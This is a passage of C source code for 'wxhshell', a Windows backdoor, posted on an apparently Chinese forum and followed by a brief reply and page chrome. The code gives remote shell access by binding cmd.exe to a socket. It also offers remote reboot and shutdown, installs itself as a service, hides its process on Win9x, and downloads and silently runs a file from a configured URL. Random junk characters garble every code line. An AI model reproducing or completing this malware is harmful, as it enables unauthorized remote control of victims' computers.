  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KiYO,nD;\  
  if(DownloadFile(cmd,wsh)) `q|&;wP.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cpvN }G  
  else J@D5C4>i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jXA!9_L7  
  } sqTBlP  
  else { \$:KfN>WY  
 R}Pw#*B  
    switch(cmd[0]) { w}+#w8hu  
  0q'd }DW  
  // 帮助 NbOeF7cq+  
  case '?': { =OfU#i"c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fm$eJu  
    break; !w iW#PR  
  } (Mi]vK.4  
  // 安装 +Go(y S  
  case 'i': { x ,$N!X  
    if(Install()) HUqG)t*c1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pRI<L'  
    else T=r-6eN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Qy*s1fit  
    break; _y#omEx  
    } C yg e  
  // 卸载 &y` MDyXz  
  case 'r': { XMhDx  
    if(Uninstall()) 1'ne[@i^/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i`[5%6\"&  
    else p@epl|IZp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bwh7.lDAl  
    break; O7@CAr  
    } FTM(y CN  
  // 显示 wxhshell 所在路径 OLXkiesK{  
  case 'p': { f[,9WkC  
    char svExeFile[MAX_PATH];  2|'v[  
    strcpy(svExeFile,"\n\r"); XL[/)lX{  
      strcat(svExeFile,ExeFile); eXJt9olI  
        send(wsh,svExeFile,strlen(svExeFile),0); !0ly1T 9  
    break; u\YH,  
    } >55c{|"@L  
  // 重启 '[#a-8-JY_  
  case 'b': { 6OYXcPW'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o(xRq;i  
    if(Boot(REBOOT)) J ytY6HF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gvo(iOU  
    else { \PS{/XK  
    closesocket(wsh); d,=Kv  
    ExitThread(0); =H*}{'#  
    } w:Ui_-4*>  
    break; :xw2\:5~0  
    } +|.}oL^}G  
  // 关机 b?Wg|D  
  case 'd': { B{|g+c%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J6x\_]1:*  
    if(Boot(SHUTDOWN)) DO<eBq\O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 -)'a} O  
    else { HZMs],GX  
    closesocket(wsh); rQiX7  
    ExitThread(0); SQ#6~zxl  
    } $q*kD#;mh  
    break; NfLvK o8  
    } e;b,7Qw  
  // 获取shell z9:@~3k.  
  case 's': { Ore$yI}!m  
    CmdShell(wsh); }*Qd]\fy  
    closesocket(wsh); 'Z2:u!E  
    ExitThread(0); ={' "ATX(U  
    break; zx^]3}  
  } 1@IRx{v$  
  // 退出 )/k0*:OMyO  
  case 'x': { R`=3lY;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n<MMO=+bg  
    CloseIt(wsh); ) Kfk\  
    break; ~ `2w ul  
    } J5LP#o(V  
  // 离开 U -~%-gFC  
  case 'q': { L/(e/Jalg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Myss$gt}  
    closesocket(wsh); 7SzY0})<U  
    WSACleanup(); &_FNDJ>MCk  
    exit(1);  p>v,b&06  
    break; BmYU#h  
        } ZWMX!>o<  
  } 2rHw5Wn]~  
  } 8 o8FL~&]  
Okk[}G)  
  // 提示信息 KsYT3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q! W ~>c!  
} hTI8hh  
  } BOJ h-(>I  
>V(>2eD'S  
  return; Wm:3_C +j  
} "FQh^+  
rh2pVDS  
// shell模块句柄 ;a!o$y  
int CmdShell(SOCKET sock) pH#&B_S6z=  
{ &Pxt6M\d  
STARTUPINFO si; BEvSX|M>x  
ZeroMemory(&si,sizeof(si)); ~J2-B2S!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %Hv$PsSJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !mBsDn(J  
PROCESS_INFORMATION ProcessInfo; L1BpkB  
char cmdline[]="cmd"; m6V1m0M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gT @YG;  
  return 0; nR/; uTTz  
} 8DTk<5mW~  
0w\X  
// 自身启动模式 cNC\w%  
int StartFromService(void) /og}e~q  
{ Js+d4``W  
typedef struct WA Y<X:|We  
{ y:4Sw#M%(  
  DWORD ExitStatus; *p?b"{_a  
  DWORD PebBaseAddress; ;KQ'/nII  
  DWORD AffinityMask; |}Mkn4  
  DWORD BasePriority; N(Y9FD;H  
  ULONG UniqueProcessId; d1e'!y}R5  
  ULONG InheritedFromUniqueProcessId; )I]E%ut{4,  
}   PROCESS_BASIC_INFORMATION; JmNeqpbB`w  
d!8q+FI  
PROCNTQSIP NtQueryInformationProcess; z+" :,#  
_if&a'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Kg@Sj/U}R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I#eIm3Y?  
gZM{]GQ  
  HANDLE             hProcess; 6(9Ta'ywZ  
  PROCESS_BASIC_INFORMATION pbi; 4NR,"l)  
SNvK8,"g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZfT%EPoZ:  
  if(NULL == hInst ) return 0; #a#~YSnG  
^'EEry  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TG?;o/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8g>jz 8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0O-p(L=  
BCUw"R#  
  if (!NtQueryInformationProcess) return 0; WY 2b  
gY0*u+LF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o*p7/KvoT  
  if(!hProcess) return 0; A!^K:S:@  
%J.Rm0FD:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nOQ+oqM<  
]`m|A1(  
  CloseHandle(hProcess); O.rk!&N  
{h9#JMIA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PNc200`v4_  
if(hProcess==NULL) return 0; 7h&xfrSrD  
YY7:WQS  
HMODULE hMod; EzNmsbtZ(  
char procName[255]; aF'Ik XG d  
unsigned long cbNeeded; IR/0gP  
W@wT ,yJ8@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yv3my aS  
,}{E+e5jh7  
  CloseHandle(hProcess); AZl=w`;/O%  
M8juab%y  
if(strstr(procName,"services")) return 1; // 以服务启动 &<_sXHg<x  
Eq.c;3  
  return 0; // 注册表启动 t:=Ui/!q  
} J|xqfY@+  
Ch;EnN<  
// 主模块 I5x/N.  
int StartWxhshell(LPSTR lpCmdLine) T$}<So|  
{ f[|xp?ef  
  SOCKET wsl; a S<JsB  
BOOL val=TRUE; $~D`-+J  
  int port=0; TP^.]I O-  
  struct sockaddr_in door; W;KHLHp-  
R1P,0Yf  
  if(wscfg.ws_autoins) Install(); m k -" U7;  
vjXvjv{t  
port=atoi(lpCmdLine); kdmVHiGF  
sXhtn' <v  
if(port<=0) port=wscfg.ws_port; U Ciq'^,  
.mok.f<G_m  
  WSADATA data; MH !CzV&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u8?ceM^r  
/u #9M {  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4&y_+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l,v:[N  
  door.sin_family = AF_INET; Szg<;._J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m7RWuI,  
  door.sin_port = htons(port); |fw+{f  
|_w*:NCV5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3}h&/KN{  
closesocket(wsl); Kjf#uU.7  
return 1; 'm2,7]  
} pnqjAT GU  
2}}~\C}o+  
  if(listen(wsl,2) == INVALID_SOCKET) { {X"X.`p  
closesocket(wsl); t8P>s})[4  
return 1; Mb<KZ_wYOX  
} VWMCbg>R  
  Wxhshell(wsl); 4uu*&B  
  WSACleanup(); G+%ZN  
u@gYEx}  
return 0; \DQ;v  
F8=6!Qj  
} H/L3w|2+  
,U2D &{@  
// 以NT服务方式启动 <v2R6cj5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {;-$;\D  
{ AVcZ.+?  
DWORD   status = 0; 1:&$0jU&U  
  DWORD   specificError = 0xfffffff; ZR#UoYjupb  
~(&xBtg:}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "^trHh8=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zv-6H*zM6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {==Q6BG*  
  serviceStatus.dwWin32ExitCode     = 0; xv%}xeE V  
  serviceStatus.dwServiceSpecificExitCode = 0; v$mA7|(t!  
  serviceStatus.dwCheckPoint       = 0; u#P7~9ZG-  
  serviceStatus.dwWaitHint       = 0; v(t&8)Uu  
d")r^7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~]yqJYiid^  
  if (hServiceStatusHandle==0) return; P,%|(qB  
3{_+dE"9  
status = GetLastError(); t)m4"p7  
  if (status!=NO_ERROR) /0\pPc*kA{  
{ @+ 2Zt%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $"UAJ-  
    serviceStatus.dwCheckPoint       = 0; Ec[:6}  
    serviceStatus.dwWaitHint       = 0; 0SDCo\  
    serviceStatus.dwWin32ExitCode     = status; 9z-"JnM  
    serviceStatus.dwServiceSpecificExitCode = specificError; %!=YNm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *o>E{  
    return;  o j^U  
  } P#0 _  
C4G)anT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O^<6`ku  
  serviceStatus.dwCheckPoint       = 0; bc"{ZL!C  
  serviceStatus.dwWaitHint       = 0; r'!l` gm,S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3gM{lS}h#  
} [Ytia#Vv  
IR>K ka(B  
// 处理NT服务事件,比如:启动、停止 ~q4y'dBy*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #zQkQvAT9  
{ 4 '+)9&g  
switch(fdwControl) ]6aM %r=c  
{ Y.73I83-j  
case SERVICE_CONTROL_STOP: s R~&S))  
  serviceStatus.dwWin32ExitCode = 0; B8nXWi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f>'7~69  
  serviceStatus.dwCheckPoint   = 0; E`s_Dr}K  
  serviceStatus.dwWaitHint     = 0; v_ J.M]  
  { Z5U~g?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P``hw=L  
  } e,x@?L*  
  return; 0N}5sF  
case SERVICE_CONTROL_PAUSE: lAGxE-B^a"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :vr,@1c  
  break; #[si.rv->  
case SERVICE_CONTROL_CONTINUE: h1Lp:@:|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w Vof_'F1  
  break; 646ye Q1  
case SERVICE_CONTROL_INTERROGATE: r" D|1  
  break; V.F 's(o  
}; yO6i "3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Brl6r8LGi  
} V.4j?\#%  
i~,k2*o  
// 标准应用程序主函数 %,^7J;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |B n=$T]  
{ Y}Dp{  
S ~_%  
// 获取操作系统版本 UqHOS{\Sz  
OsIsNt=GetOsVer(); ceOjuzY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wv7jh~x(4  
!69^ kIi$  
  // 从命令行安装 MJb = +L  
  if(strpbrk(lpCmdLine,"iI")) Install(); ? vlGr5#  
~L1O\V i  
  // 下载执行文件 lVFX@I=pI  
if(wscfg.ws_downexe) { `8-aHPF-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y"hM6JI  
  WinExec(wscfg.ws_filenam,SW_HIDE); I>xB.$A  
} TAi\#cnl(6  
=oTYwU  
if(!OsIsNt) { H>] z=w~  
// 如果时win9x,隐藏进程并且设置为注册表启动 <8bO1t^*  
HideProc(); !$?@;}=  
StartWxhshell(lpCmdLine); RmQt%a7\{  
} VB#31T#q?  
else =gn}_sKNE  
  if(StartFromService()) +,[3a%c)H  
  // 以服务方式启动 ;Y '\:  
  StartServiceCtrlDispatcher(DispatchTable); ""+*Gn 7^8  
else Z:hrrq9  
  // 普通方式启动 E oR(/*'  
  StartWxhshell(lpCmdLine); #R8l"]fxr?  
^;3rdBprm  
return 0; /$z@_U [L  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五